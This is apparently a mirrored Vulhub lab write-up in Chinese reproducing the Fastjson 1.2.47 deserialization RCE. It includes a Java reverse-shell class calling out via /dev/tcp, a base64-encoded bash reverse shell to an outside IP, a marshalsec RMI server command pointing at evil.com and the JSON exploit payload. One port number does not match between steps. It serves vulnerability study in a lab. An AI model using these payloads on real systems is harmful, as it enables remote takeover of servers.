mirror of
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81 lines
2.5 KiB
Markdown
81 lines
2.5 KiB
Markdown
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# Fastjson 1.2.47 远程命令执行漏洞
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## 漏洞描述
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Fastjson是阿里巴巴公司开源的一款json解析器，其性能优越，被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令。
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参考链接：
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- https://cert.360.cn/warning/detail?id=7240aeab581c6dc2c9c5350756079955
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- https://www.freebuf.com/vuls/208339.html
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## 环境搭建
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Vulhub执行如下命令启动一个spring web项目，其中使用fastjson作为默认json解析器：
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```shell
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docker-compose up -d
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```
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环境启动后，访问`http://your-ip:8090`即可看到一个json对象被返回，我们将content-type修改为`application/json`后可向其POST新的JSON对象，后端会利用fastjson进行解析。
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## 漏洞复现
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目标环境是`openjdk:8u102`，这个版本没有`com.sun.jndi.rmi.object.trustURLCodebase`的限制，我们可以简单利用RMI进行命令执行。
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首先编译并上传命令执行代码，如`http://evil.com/TouchFile.class`：
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```java
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// javac TouchFile.java
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import java.lang.Runtime;
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import java.lang.Process;
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public class TouchFile {
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static {
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try {
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Runtime rt = Runtime.getRuntime();
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String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.174.128/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"};
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Process pc = rt.exec(commands);
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pc.waitFor();
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} catch (Exception e) {
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// do nothing
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}
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}
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}
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```
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也可以使用bash base64的方式：
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```java
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String[] commands = {"bash", "-c","{echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMTQ3LjEyNy85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"};
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```
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然后我们借助[marshalsec](https://github.com/mbechler/marshalsec)项目，启动一个RMI服务器，监听8888端口，并制定加载远程类`TouchFile.class`：
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```shell
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java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
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```
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向靶场服务器发送Payload（此处的Payload和Fastjson 1.2.24不同）：
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```
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{
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"a":{
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"@type":"java.lang.Class",
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"val":"com.sun.rowset.JdbcRowSetImpl"
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},
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"b":{
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"@type":"com.sun.rowset.JdbcRowSetImpl",
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"dataSourceName":"rmi://evil.com:8888/TouchFile",
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"autoCommit":true
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}
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}
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```
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监听9999端口，接收反弹shell：
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